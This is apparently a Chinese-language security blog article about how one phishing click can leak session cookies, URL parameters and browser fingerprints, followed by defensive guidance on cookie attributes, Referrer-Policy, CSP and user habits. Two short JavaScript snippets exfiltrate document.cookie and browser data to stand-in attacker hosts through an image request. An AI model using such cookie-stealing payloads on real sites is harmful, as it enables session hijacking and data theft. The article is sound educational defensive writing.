1. 一次“無(wú)害”點(diǎn)擊背后的信息泄露全景那天下午同事小張?jiān)趦?nèi)部群里發(fā)了個(gè)鏈接說(shuō)是“最新季度數(shù)據(jù)報(bào)表大家速看”。我隨手點(diǎn)了進(jìn)去頁(yè)面加載有點(diǎn)慢但最終顯示了一個(gè)看起來(lái)挺正常的表格頁(yè)面。我沒(méi)多想關(guān)掉頁(yè)面繼續(xù)干活。直到第二天安全部門(mén)的同事找到我問(wèn)我昨天下午是不是訪問(wèn)過(guò)一個(gè)可疑的域名并且我的內(nèi)部系統(tǒng)賬號(hào)在非工作時(shí)間有異常查詢記錄。我這才驚覺(jué)那個(gè)看似普通的鏈接可能是個(gè)精心設(shè)計(jì)的“陷阱”。這不是什么高深的APT攻擊可能就是一次利用最常見(jiàn)Web特性進(jìn)行的信息泄露。今天我們就來(lái)徹底拆解一下一次簡(jiǎn)單的點(diǎn)擊你的Cookie、地址欄參數(shù)乃至更多信息是如何在不知不覺(jué)中“拱手送人”的。這不僅僅是安全工程師需要關(guān)心的事每一位開(kāi)發(fā)者、甚至每一位經(jīng)常使用網(wǎng)絡(luò)的普通用戶都應(yīng)該了解這些“日?！北澈蟮娘L(fēng)險(xiǎn)。我們會(huì)從攻擊者的視角出發(fā)看看他們?nèi)绾卫脼g覽器和JavaScriptJS的“特性”再切換到防御者的角度告訴你如何識(shí)別和防范。整個(gè)過(guò)程會(huì)涉及Cookie的竊取與防護(hù)、URL參數(shù)的安全隱患、跨瀏覽器攻擊的威脅以及那些隱藏在JS代碼里的“小動(dòng)作”。2. 核心攻擊向量拆解信息是如何“流”出去的一次成功的信息泄露攻擊很少是單一漏洞造成的它往往是一個(gè)利用多個(gè)薄弱環(huán)節(jié)組合起來(lái)的鏈條。我們點(diǎn)開(kāi)一個(gè)鏈接到信息最終被攻擊者獲取中間會(huì)經(jīng)歷好幾個(gè)關(guān)鍵步驟。2.1 第一道失守的防線Cookie的竊取與濫用Cookie是Web的“記憶體”它讓網(wǎng)站能記住我們的登錄狀態(tài)、偏好設(shè)置。但正是這個(gè)便利的特性讓它成為了攻擊者的首要目標(biāo)。Cookie竊取的常見(jiàn)手法XSS跨站腳本攻擊竊取這是最經(jīng)典的方式。攻擊者在你訪問(wèn)的頁(yè)面中注入惡意JS代碼。這段代碼可以輕松讀取當(dāng)前域名下的所有Cookie除非設(shè)置了HttpOnly屬性然后通過(guò)一個(gè)隱藏的圖片請(qǐng)求或fetchAPI將Cookie內(nèi)容發(fā)送到攻擊者控制的服務(wù)器。// 一個(gè)極其簡(jiǎn)單的XSS Payload示例 var img new Image(); img.src https://attacker.com/steal?data encodeURIComponent(document.cookie);只要你的會(huì)話Cookie被竊取攻擊者就能在另一個(gè)瀏覽器里用你的身份直接登錄系統(tǒng)無(wú)需密碼。網(wǎng)絡(luò)嗅探中間人攻擊如果你連接的是不安全的公共Wi-Fi沒(méi)有HTTPS攻擊者可以在同一網(wǎng)絡(luò)下進(jìn)行流量監(jiān)聽(tīng)。如果網(wǎng)站沒(méi)有使用HTTPS或者HTTPS配置有誤那么你瀏覽器發(fā)送的包含Cookie的請(qǐng)求頭就可能被明文截獲。瀏覽器漏洞或惡意擴(kuò)展某些瀏覽器漏洞或你安裝的惡意瀏覽器擴(kuò)展可能會(huì)擁有讀取所有網(wǎng)站Cookie的過(guò)高權(quán)限導(dǎo)致信息泄露。注意現(xiàn)代瀏覽器對(duì)跨域Cookie讀取有嚴(yán)格限制同源策略所以惡意代碼通常只能讀取當(dāng)前域名下的Cookie。但這恰恰是問(wèn)題所在——如果攻擊的正是你當(dāng)前訪問(wèn)的站點(diǎn)那么你的登錄Cookie就完全暴露了。Cookie的安全屬性作為開(kāi)發(fā)者我們可以通過(guò)設(shè)置Cookie的屬性來(lái)加固防線HttpOnly這是最重要的屬性。設(shè)置了HttpOnly的Cookie無(wú)法通過(guò)JavaScript的document.cookieAPI訪問(wèn)只能由瀏覽器在HTTP請(qǐng)求中自動(dòng)攜帶。這能有效防御絕大多數(shù)XSS竊取。Secure此Cookie僅通過(guò)HTTPS協(xié)議傳輸防止在明文的HTTP連接中被嗅探。SameSite這個(gè)屬性可以控制Cookie在跨站請(qǐng)求時(shí)是否被發(fā)送。設(shè)置為Strict或Lax可以很大程度上防止CSRF跨站請(qǐng)求偽造攻擊也能減少Cookie在跨站場(chǎng)景下的意外泄露。Strict完全禁止跨站攜帶Cookie。Lax允許部分安全的跨站請(qǐng)求如導(dǎo)航鏈接的GET請(qǐng)求攜帶Cookie但禁止不安全的POST請(qǐng)求等。None允許跨站攜帶但必須同時(shí)設(shè)置Secure即必須使用HTTPS。2.2 地址欄里的“秘密”URL參數(shù)泄露除了CookieURL本身也可能攜帶敏感信息。你有沒(méi)有見(jiàn)過(guò)這樣的鏈接https://example.com/reset-password?tokenabc123def456user_id789或者h(yuǎn)ttps://internal.company.com/report?year2024departmentfinanceemployee_id1001這些?后面的部分就是查詢參數(shù)Query Parameters。它們本意是用于傳遞狀態(tài)但常常被濫用或疏忽。泄露風(fēng)險(xiǎn)引用者頭信息Referer Header當(dāng)你從A頁(yè)面點(diǎn)擊一個(gè)鏈接跳轉(zhuǎn)到B頁(yè)面時(shí)瀏覽器默認(rèn)會(huì)在請(qǐng)求B頁(yè)面的HTTP頭中加入一個(gè)Referer字段其值就是A頁(yè)面的完整URL。如果A頁(yè)面的URL里包含了敏感參數(shù)如上述的token、id那么這些信息就會(huì)完整地發(fā)送給B站點(diǎn)的服務(wù)器。場(chǎng)景你在公司內(nèi)網(wǎng)查看一個(gè)帶敏感ID的報(bào)表頁(yè)面然后點(diǎn)擊頁(yè)面中的一個(gè)鏈接去訪問(wèn)一個(gè)外部新聞網(wǎng)站。你的公司內(nèi)網(wǎng)URL連同那個(gè)敏感ID就可能被發(fā)送到新聞網(wǎng)站的服務(wù)器日志里。瀏覽器歷史與日志完整的URL會(huì)保存在瀏覽器歷史記錄中。如果這是一臺(tái)公用電腦下一個(gè)人就能看到。此外URL也可能被記錄在Web服務(wù)器的訪問(wèn)日志、代理服務(wù)器日志、甚至是一些終端安全軟件的日志中擴(kuò)大了暴露面。第三方腳本與像素跟蹤頁(yè)面中引用的第三方JS庫(kù)、統(tǒng)計(jì)代碼如Google Analytics、廣告追蹤像素等都有可能通過(guò)讀取window.location.href來(lái)獲取當(dāng)前頁(yè)面的完整URL并將其發(fā)回自己的服務(wù)器進(jìn)行分析。防護(hù)思路絕不將敏感信息放入U(xiǎn)RL這是黃金法則。會(huì)話標(biāo)識(shí)、令牌、個(gè)人身份信息等應(yīng)該通過(guò)Cookie設(shè)置HttpOnly和Secure或HTTP POST請(qǐng)求的Body來(lái)傳遞。使用Referrer-Policy響應(yīng)頭服務(wù)器可以通過(guò)設(shè)置Referrer-Policy頭來(lái)控制瀏覽器發(fā)送多少Referer信息。no-referrer完全不發(fā)送Referer。same-origin僅在同源請(qǐng)求時(shí)發(fā)送。strict-origin-when-cross-origin跨域時(shí)只發(fā)送源協(xié)議主機(jī)端口不發(fā)送路徑和參數(shù)。這是目前比較推薦的平衡安全與功能的策略。對(duì)必要參數(shù)進(jìn)行脫敏或加密如果業(yè)務(wù)上必須傳遞某些ID可以考慮使用無(wú)意義的、臨時(shí)的UUID替代自增ID或者對(duì)參數(shù)進(jìn)行對(duì)稱加密。2.3 跨瀏覽器的協(xié)同攻擊比你想象的更簡(jiǎn)單“跨瀏覽器攻擊”聽(tīng)起來(lái)高大上其實(shí)原理并不復(fù)雜。它通常指攻擊者利用你在一個(gè)瀏覽器或?yàn)g覽器上下文中的行為影響到另一個(gè)瀏覽器或標(biāo)簽頁(yè)。常見(jiàn)攻擊模式通過(guò)共享狀態(tài)進(jìn)行攻擊場(chǎng)景你在一臺(tái)電腦上同時(shí)登錄了個(gè)人瀏覽器如Chrome和工作瀏覽器如Edge。如果兩個(gè)瀏覽器都訪問(wèn)了同一個(gè)域名例如公司OA系統(tǒng)并且該系統(tǒng)存在漏洞攻擊者可能在一個(gè)瀏覽器中利用漏洞如XSS獲取到令牌然后嘗試在另一個(gè)瀏覽器發(fā)起的請(qǐng)求中使用該令牌。雖然瀏覽器進(jìn)程隔離增加了難度但通過(guò)操作系統(tǒng)級(jí)別的某些共享資源如惡意軟件讀取內(nèi)存或用戶習(xí)慣復(fù)制粘貼仍有可能實(shí)現(xiàn)。釣魚(yú)攻擊中的跨瀏覽器利用場(chǎng)景你在工作瀏覽器中收到了一個(gè)釣魚(yú)郵件里面有一個(gè)鏈接。你出于謹(jǐn)慎沒(méi)有在工作瀏覽器中點(diǎn)開(kāi)而是復(fù)制鏈接粘貼到你覺(jué)得更“安全”的個(gè)人瀏覽器中打開(kāi)。然而這個(gè)釣魚(yú)頁(yè)面可能設(shè)計(jì)成檢測(cè)到你來(lái)自工作域名的Referer如果你是從工作郵箱復(fù)制鏈接或者通過(guò)一些JS技巧嘗試讀取剪貼板內(nèi)容需要權(quán)限但可能被誘導(dǎo)授權(quán)從而將兩個(gè)瀏覽器的上下文關(guān)聯(lián)起來(lái)進(jìn)行更精準(zhǔn)的社會(huì)工程學(xué)攻擊。本地網(wǎng)絡(luò)服務(wù)探測(cè)一些惡意JS代碼會(huì)嘗試掃描你本地網(wǎng)絡(luò)的特定端口如localhost:3000,127.0.0.1:8080。如果你在另一個(gè)瀏覽器或本地運(yùn)行著開(kāi)發(fā)服務(wù)例如一個(gè)未設(shè)密碼的數(shù)據(jù)庫(kù)管理界面localhost:phpmyadmin攻擊腳本可能發(fā)現(xiàn)它并實(shí)施攻擊。這利用了瀏覽器允許向localhost發(fā)起請(qǐng)求的特性盡管有跨域限制但錯(cuò)誤配置的服務(wù)可能允許跨域請(qǐng)求。防護(hù)要點(diǎn)養(yǎng)成良好的瀏覽習(xí)慣嚴(yán)格區(qū)分工作與個(gè)人瀏覽環(huán)境不僅用不同瀏覽器最好使用不同的操作系統(tǒng)賬戶或虛擬機(jī)。警惕剪貼板操作對(duì)網(wǎng)頁(yè)請(qǐng)求讀取剪貼板權(quán)限保持高度警惕。保護(hù)本地服務(wù)所有在本地運(yùn)行的服務(wù)尤其是開(kāi)發(fā)中的服務(wù)都必須設(shè)置強(qiáng)密碼和適當(dāng)?shù)脑L問(wèn)控制不要默認(rèn)運(yùn)行在0.0.0.0這樣所有網(wǎng)絡(luò)接口可訪問(wèn)的地址上。3. 惡意JavaScript的“七十二變”JS是前端動(dòng)態(tài)交互的核心也是攻擊者手中最靈活的武器。一段惡意JS代碼可以做的事情遠(yuǎn)超你的想象。3.1 信息收集不只是Cookie除了竊取Cookie惡意JS可以收集大量環(huán)境信息為后續(xù)攻擊畫(huà)像用戶代理User Agent瀏覽器類型、版本、操作系統(tǒng)。屏幕分辨率與色彩深度可用于設(shè)備指紋識(shí)別。瀏覽器插件列表通過(guò)特定API探測(cè)插件也是指紋的一部分。本地存儲(chǔ)LocalStorage/SessionStorage很多應(yīng)用會(huì)把令牌、用戶數(shù)據(jù)存在這里JS可以直接讀取。網(wǎng)絡(luò)信息嘗試連接內(nèi)部IP地址或域名探測(cè)公司內(nèi)網(wǎng)環(huán)境。表單輸入嗅探通過(guò)劫持表單的oninput或onchange事件在你輸入的同時(shí)就獲取內(nèi)容即使你沒(méi)有點(diǎn)擊提交。3.2 隱蔽外傳數(shù)據(jù)防不勝防的通道竊取到數(shù)據(jù)后如何悄無(wú)聲息地發(fā)出去攻擊者有很多種隱蔽的通信方式旨在繞過(guò)簡(jiǎn)單的網(wǎng)絡(luò)監(jiān)控和內(nèi)容安全策略CSP圖片請(qǐng)求Beacon如前所述創(chuàng)建一個(gè)Image對(duì)象將數(shù)據(jù)拼接在src屬性的URL參數(shù)里。因?yàn)閳D片加載是瀏覽器的常見(jiàn)行為不易被察覺(jué)。發(fā)送Beacon API使用navigator.sendBeacon()方法該方法專為發(fā)送少量分析數(shù)據(jù)設(shè)計(jì)即使在頁(yè)面卸載關(guān)閉時(shí)也能可靠發(fā)送且請(qǐng)求優(yōu)先級(jí)較低更隱蔽?？缬蛘?qǐng)求CORS如果攻擊者控制的服務(wù)器配置了寬松的CORS策略如Access-Control-Allow-Origin: *惡意JS可以直接使用fetch或XMLHttpRequest發(fā)送POST請(qǐng)求將數(shù)據(jù)放在請(qǐng)求體中比URL參數(shù)更隱蔽。WebSocket在頁(yè)面中建立一條到惡意服務(wù)器的WebSocket連接可以持續(xù)、雙向地傳輸數(shù)據(jù)流量特征與普通WebSocket應(yīng)用類似。CSS選擇器探測(cè)通過(guò)加載外部CSS文件并利用CSS屬性如background-image的URL能否成功加載來(lái)判斷用戶是否訪問(wèn)過(guò)某些特定網(wǎng)站歷史嗅探這是一種更古老但依然可能生效的側(cè)信道攻擊。3.3 偽裝與混淆讓分析變得困難為了逃避安全人員的代碼審查和自動(dòng)化掃描惡意JS通常會(huì)被混淆Obfuscated。變量名縮短將userCookie、sendDataToAttacker這樣的有意義變量名替換成_0x1a2b3c、a、b、c。字符串加密將代碼中的字符串如URL、函數(shù)名進(jìn)行加密在運(yùn)行時(shí)動(dòng)態(tài)解密。控制流平坦化打亂代碼原本的執(zhí)行流程順序插入大量的條件跳轉(zhuǎn)和無(wú)關(guān)代碼使邏輯難以跟蹤。使用冷門(mén)JS特性利用一些不常見(jiàn)的語(yǔ)法或API增加分析難度。作為開(kāi)發(fā)者看到經(jīng)過(guò)高度混淆、且來(lái)源不明的JS代碼一定要保持警惕。作為安全人員需要掌握一定的JS反混淆和動(dòng)態(tài)調(diào)試技巧使用瀏覽器開(kāi)發(fā)者工具的Sources面板進(jìn)行斷點(diǎn)調(diào)試。4. 實(shí)戰(zhàn)演練從點(diǎn)擊到泄露的完整鏈條讓我們構(gòu)建一個(gè)模擬場(chǎng)景看看攻擊如何串聯(lián)起來(lái)。假設(shè)有一個(gè)釣魚(yú)頁(yè)面hxxps://fake-survey[.]com。第一步誘導(dǎo)點(diǎn)擊。攻擊者通過(guò)釣魚(yú)郵件、社交軟件群聊、偽造的廣告等渠道散布這個(gè)鏈接文案可能是“緊急請(qǐng)所有員工填寫(xiě)年度信息安全培訓(xùn)反饋”。第二步加載惡意頁(yè)面。你點(diǎn)擊鏈接瀏覽器加載這個(gè)頁(yè)面。頁(yè)面看起來(lái)像一個(gè)正規(guī)的調(diào)查問(wèn)卷有Logo、有表單。第三步執(zhí)行惡意腳本。頁(yè)面在后臺(tái)悄悄加載了一段混淆過(guò)的JS腳本。這段腳本執(zhí)行后會(huì)嘗試讀取當(dāng)前域名下所有能讀到的Cookie如果沒(méi)有HttpOnly。收集瀏覽器指紋信息User Agent, 屏幕分辨率插件列表等。讀取當(dāng)前頁(yè)面的完整URL雖然它自己是釣魚(yú)頁(yè)但可能會(huì)嘗試從document.referrer或嘗試解析window.opener來(lái)獲取來(lái)源頁(yè)信息。嘗試探測(cè)http://localhost:8080/api/等常見(jiàn)的內(nèi)網(wǎng)開(kāi)發(fā)接口地址。第四步數(shù)據(jù)外傳。腳本將收集到的所有數(shù)據(jù)進(jìn)行拼接和簡(jiǎn)單編碼然后通過(guò)創(chuàng)建一個(gè)不可見(jiàn)的img標(biāo)簽將數(shù)據(jù)作為參數(shù)附加到src屬性指向攻擊者的服務(wù)器hxxps://collector.attacker-server[.]com/log。// 簡(jiǎn)化的數(shù)據(jù)外傳代碼 var data { cookies: document.cookie, url: window.location.href, referrer: document.referrer, userAgent: navigator.userAgent, screen: window.screen.width x window.screen.height }; var beacon new Image(); beacon.src https://collector.attacker-server.com/log?data btoa(JSON.stringify(data)); // 使用base64簡(jiǎn)單編碼第五步攻擊者后續(xù)利用。攻擊者服務(wù)器收到數(shù)據(jù)后自動(dòng)化腳本開(kāi)始工作如果包含有效的會(huì)話Cookie立即嘗試訪問(wèn)對(duì)應(yīng)的正規(guī)網(wǎng)站如公司OA、郵箱進(jìn)行“會(huì)話劫持”。分析瀏覽器指紋和Referrer信息判斷受害者可能所屬的組織例如Referrer是公司內(nèi)網(wǎng)地址。如果探測(cè)到本地服務(wù)開(kāi)放可能?chē)L試進(jìn)一步的攻擊如利用默認(rèn)密碼登錄本地?cái)?shù)據(jù)庫(kù)。整個(gè)過(guò)程中用戶除了感覺(jué)頁(yè)面可能稍微慢一點(diǎn)因?yàn)橐虞d額外資源和發(fā)起請(qǐng)求幾乎沒(méi)有任何感知。表單可能還是可以正常提交的讓你覺(jué)得這只是一個(gè)普通的頁(yè)面。5. 防御指南開(kāi)發(fā)者與用戶的雙重盔甲面對(duì)這些威脅我們并非束手無(wú)策。防御需要開(kāi)發(fā)者和用戶共同努力。5.1 給開(kāi)發(fā)者的安全編碼清單Cookie安全為所有敏感Cookie設(shè)置HttpOnly和Secure屬性。這是底線。合理使用SameSite屬性。對(duì)于會(huì)話Cookie建議設(shè)置為L(zhǎng)ax或Strict。避免在Cookie中存儲(chǔ)敏感數(shù)據(jù)本身只存儲(chǔ)不可預(yù)測(cè)的會(huì)話ID。URL參數(shù)安全遵循“絕不將敏感數(shù)據(jù)放入U(xiǎn)RL”原則。在服務(wù)器端配置Referrer-Policy響應(yīng)頭建議使用strict-origin-when-cross-origin。對(duì)錯(cuò)誤信息進(jìn)行泛化處理避免在URL或響應(yīng)中泄露系統(tǒng)內(nèi)部信息如數(shù)據(jù)庫(kù)錯(cuò)誤。內(nèi)容安全策略CSP這是防御XSS的終極利器。通過(guò)HTTP頭Content-Security-Policy你可以告訴瀏覽器只允許執(zhí)行來(lái)自特定來(lái)源的腳本、加載特定來(lái)源的圖片、樣式等。例如script-src self;表示只允許執(zhí)行同源腳本。這可以阻止內(nèi)聯(lián)腳本和來(lái)自惡意域名的外部腳本執(zhí)行。實(shí)施CSP需要仔細(xì)規(guī)劃建議從Content-Security-Policy-Report-Only開(kāi)始只報(bào)告違規(guī)而不阻塞待策略穩(wěn)定后再?gòu)?qiáng)制執(zhí)行。輸入輸出編碼對(duì)所有用戶輸入進(jìn)行嚴(yán)格的驗(yàn)證和過(guò)濾。在將數(shù)據(jù)輸出到HTML頁(yè)面時(shí)根據(jù)上下文進(jìn)行正確的編碼HTML編碼、JavaScript編碼、URL編碼防止XSS。使用現(xiàn)代框架的安全特性如React、Vue、Angular等現(xiàn)代前端框架默認(rèn)提供了部分XSS防護(hù)如自動(dòng)轉(zhuǎn)義。但開(kāi)發(fā)者仍需保持警惕避免使用dangerouslySetInnerHTMLReact或v-htmlVue等危險(xiǎn)API。5.2 給用戶的日常安全習(xí)慣保持警惕檢查鏈接在點(diǎn)擊任何鏈接前尤其是郵件、即時(shí)消息中的鏈接先將鼠標(biāo)懸停在鏈接上查看瀏覽器狀態(tài)欄顯示的真實(shí)URL。警惕域名拼寫(xiě)錯(cuò)誤如g00gle.com、超長(zhǎng)的亂碼域名或可疑的短鏈接。對(duì)于重要網(wǎng)站如銀行、郵箱養(yǎng)成手動(dòng)輸入域名或從書(shū)簽訪問(wèn)的習(xí)慣。關(guān)注瀏覽器安全提示當(dāng)瀏覽器提示“網(wǎng)站連接不安全”或“證書(shū)錯(cuò)誤”時(shí)堅(jiān)決不要點(diǎn)擊“繼續(xù)訪問(wèn)”。謹(jǐn)慎授予網(wǎng)站“讀取剪貼板”、“發(fā)送通知”等權(quán)限。良好的密碼和會(huì)話管理為不同網(wǎng)站使用不同的密碼并啟用雙因素認(rèn)證2FA。定期退出不常用網(wǎng)站的登錄特別是公用電腦上。使用瀏覽器“無(wú)痕模式”訪問(wèn)不確定的鏈接這會(huì)在關(guān)閉窗口后自動(dòng)清除Cookie等數(shù)據(jù)。保持軟件更新及時(shí)更新操作系統(tǒng)、瀏覽器及常用插件。安全補(bǔ)丁是修復(fù)已知漏洞最有效的方式。使用安全工具考慮使用廣告攔截器或隱私保護(hù)擴(kuò)展它們有時(shí)能阻止一些已知的追蹤器和惡意腳本。在高度敏感的環(huán)境下可以使用虛擬機(jī)或獨(dú)立的物理設(shè)備進(jìn)行隔離操作。信息安全的戰(zhàn)場(chǎng)就在每一次點(diǎn)擊和每一次代碼提交中。攻擊者的技術(shù)在不斷演化但核心思路往往圍繞著利用信任和便利性。作為開(kāi)發(fā)者我們需要在構(gòu)建功能時(shí)將安全視為基石而非補(bǔ)丁作為用戶我們需要時(shí)刻保持一份健康的“懷疑論”不輕信勤檢查。那次“點(diǎn)了下鏈接”的經(jīng)歷讓我明白安全沒(méi)有旁觀者我們每個(gè)人都是自己數(shù)字資產(chǎn)的第一責(zé)任人。從今天起審視你網(wǎng)站上的Cookie設(shè)置檢查你代碼中的輸出點(diǎn)并在點(diǎn)擊下一個(gè)陌生鏈接前多花一秒鐘思考。